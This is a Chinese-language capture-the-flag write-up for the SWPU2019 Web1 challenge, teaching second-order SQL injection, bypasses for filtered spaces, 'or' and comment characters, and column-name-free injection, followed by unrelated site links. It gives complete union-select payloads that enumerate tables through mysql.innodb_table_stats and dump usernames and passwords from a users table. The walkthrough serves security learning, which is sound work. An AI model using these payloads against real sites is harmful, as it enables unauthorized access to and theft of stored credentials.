【WEB】[SWPU2019]Web1

考点:SQL二次注入,关键绕过,无列名注入

在开始之前,先了解几个概念。

概念 1:SQL 注入到底是啥

后端执行查询时,会把你输入的内容拼进 SQL 语句字符串 里。正常情况下你输入的是 "数据";但如果你输入了 '、union、select 这些 SQL 语法符号,而后端没处理干净,你输入的 "数据" 就会被数据库当成 "SQL 代码 " 执行 ------ 这就是注入。一句话:让本该是数据的地方,变成可执行的语句。

概念 2:二次注入

普通注入是 "你这次输入、这次就被拼进 SQL"。二次注入分两次,坑就坑在中间隔了一次 "存数据库":

  • 第一次(发布广告) :你在标题里填 1' union...。后端这一步其实做了转义(把 ' 变成 \'),所以 insert 写库时是安全的 ;但数据库存盘时会把转义用的反斜杠去掉 ,于是库里真正存下的是你原始的 1' union...。
  • 第二次(点 "广告详情") :后端把标题从库里读出来 ,直接拼进另一条查询 select * from ads where title='读出来的标题',这一步没有再次转义 ------ 于是你第一次埋的 ' 在这里 "复活",注入触发。

为什么登录框注入不了、广告标题能注入?因为登录框是 "一次注入" 当场被转义拦住;而广告标题走的是上面这条 "先存后取、第二次不设防" 的路。

概念 3:闭合 与 注释

注入时你用一个 ' 把后端原来的前引号 "用掉",这叫闭合 。拼完自己的语句后,后面还剩后端原语句的一截(' limit 0,1),常规做法是用 # 或 -- 把它注释掉 。但如果把注释符过滤了,要用 "再补一个引号让它自己配对" 的方式手动闭合(下面实战会具体拆)。

接下来开始操作步骤:

Step 0 注册登录

随便注册一个账号再登录

Step 1 确认注入点 & 判断是字符型

在标题里分别试:

  • 填 1' 提交,再看详情 → 报错(多出来的单引号让 SQL 语法崩了,说明输入被拼进了语句);
  • 填 1'' 再看 → 正常(两个引号正好配对)。

由此确定:注入点是单引号字符型,后端语句形如

sql 复制代码
select * from ads where title = '$title' limit 0,1;

Step 2 摸清楚过滤了什么,逐个绕过

测试后我们发现空格、or和注释符(#,--)被过滤

被过滤 为什么需要它 绕过方法
空格 SQL 单词之间要分隔 用内联注释 /**/ 代替每个空格
or(不区分大小写) order by、information_schema 里都含 "or" 判列数改用 group by ;查表改用 InnoDB/sys 系统表,彻底不用 information_schema
注释符 #、-- 用来注释掉语句尾巴 不注释,手动补单引号闭合 (payload 末尾写 '22 / '1,让它和原语句尾引号配对)

Step 3 判断列数

正常用 order by N 试探列数,但它含 or 被过滤,换成 group by N,效果一样(按第 N 列分组,列不存在就报错)。在标题里依次填、不断加大 N:

sql 复制代码
-1'/**/group/**/by/**/22,'1
  • 为什么是 /**/:每个空格的位置都换成它;
  • 为什么结尾是 ,'1:拼进原句后是 group by 22,'1' limit 0,1------'1 的前引号是我们写的,原句结尾那个 ' 正好补在后面,配成合法字符串 '1',这样就不需要注释符了。
  • 试到 22 正常、23 报错 → 原查询共 22 列。

Step 4 联合查询,找回显位

标题填

sql 复制代码
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

挤进原句后等价于

sql 复制代码
select * from ads where title='-1' union select 1,2,...,21,'22' limit 0,1

详情页上会看到数字 2 和 3 被打印出来 → 回显位是第 2、3 列,以后把要查的内容塞进这两个位置。

Step 5 查当前数据库名

把第 2 位换成 database()

sql 复制代码
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

回显得到当前库 web1。

Step 6 查表名:绕过被过滤的 information_schema

常规查表要查 information_schema.tables,但里面含 or (information)被过滤。改用 MySQL 自带的"统计表",其不含 or:

mysql.innodb_table_stats

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到两张表:ads和 users

原理:information_schema 是 "元数据库",被 ban 后,InnoDB 引擎会在mysql.innodb_table_stats、sys 库里记录表名等统计信息,照样能把表名抠出来,innodb_table_stats 收录更全。

Step 7 查 users 表数据:无列名注入

正常要 select 列名 from users,可我们不知道 users 有哪些列、叫什么 ,又没法查 information_schema.columns(含 or),连反引号都被过滤。这时用无列名注入:按 "列的位置" 而不是 "列的名字" 取数据。

原理拆解,看这条子查询:

sql 复制代码
select 1,2,3 as b union select * from users
  • select 1,2,3 先凭空造一行 3 列的结果,并用 as b 给第 3 列起别名 b;
  • union select * from users 把 users 的数据按列顺序接在后面(要求 users 也是 3 列:id、用户名、密码);
  • 于是这张临时结果的第 3 列就叫 b,外层再 select group_concat(b) from (上面整段)x,就能在不知道列名 的情况下把 users 第 3 列全部值拼出来。想取第几列,就把 as 别名 加到第几列。

取第 2 列(取用户名,给第 2 列起别名 a):

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

取第 3 列(取密码,给第 3 列起别名 b):

sql 复制代码
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

直接得到flag。

相关推荐
宸津-代码粉碎机2 小时前
OpenAI 连夜迎战 Grok Bot 和 Muse:AI 智能体从 “会聊天” 到 “能办事”,现在入场还来得及吗
java·大数据·人工智能·分布式·python
噢,我明白了4 小时前
java中唯一键和幂等键的应用
java·后端
程序猿乐锅4 小时前
【黑马点评 | 第八篇】Redisson分布式锁
java·数据库·spring boot·redis·分布式·spring·缓存
福兮说4 小时前
前端下载大文件,点了按钮半天没反应:fetch + blob 的三个问题和三种替代写法
前端·javascript·性能优化·文件下载
GreenTea4 小时前
我把 Agent 的 while 循环拆掉了:一种你可能没想到的 Agent 架构
前端·后端·架构
考虑考虑4 小时前
synchronized字符串常量
java·后端·java ee
长谷深风1114 小时前
Tool与Skill:AI能力设计的分水岭
java·人工智能·ai·大模型·aiagent
科技观察哨4 小时前
六足平台选型与纳米定位系统集成:HEB-640六自由度位移台在半导体光刻对准中的参数边界与国产替代评估
前端·人工智能
m0_587383004 小时前
广州24小时自助健身房解决方案实战指南与系统部署要点
java·spring·小程序·架构·需求分析
Escalating_xu4 小时前
【C 语言】深入理解指针(1·下):指针运算、野指针、assert 与传址实战
java·c语言·开发语言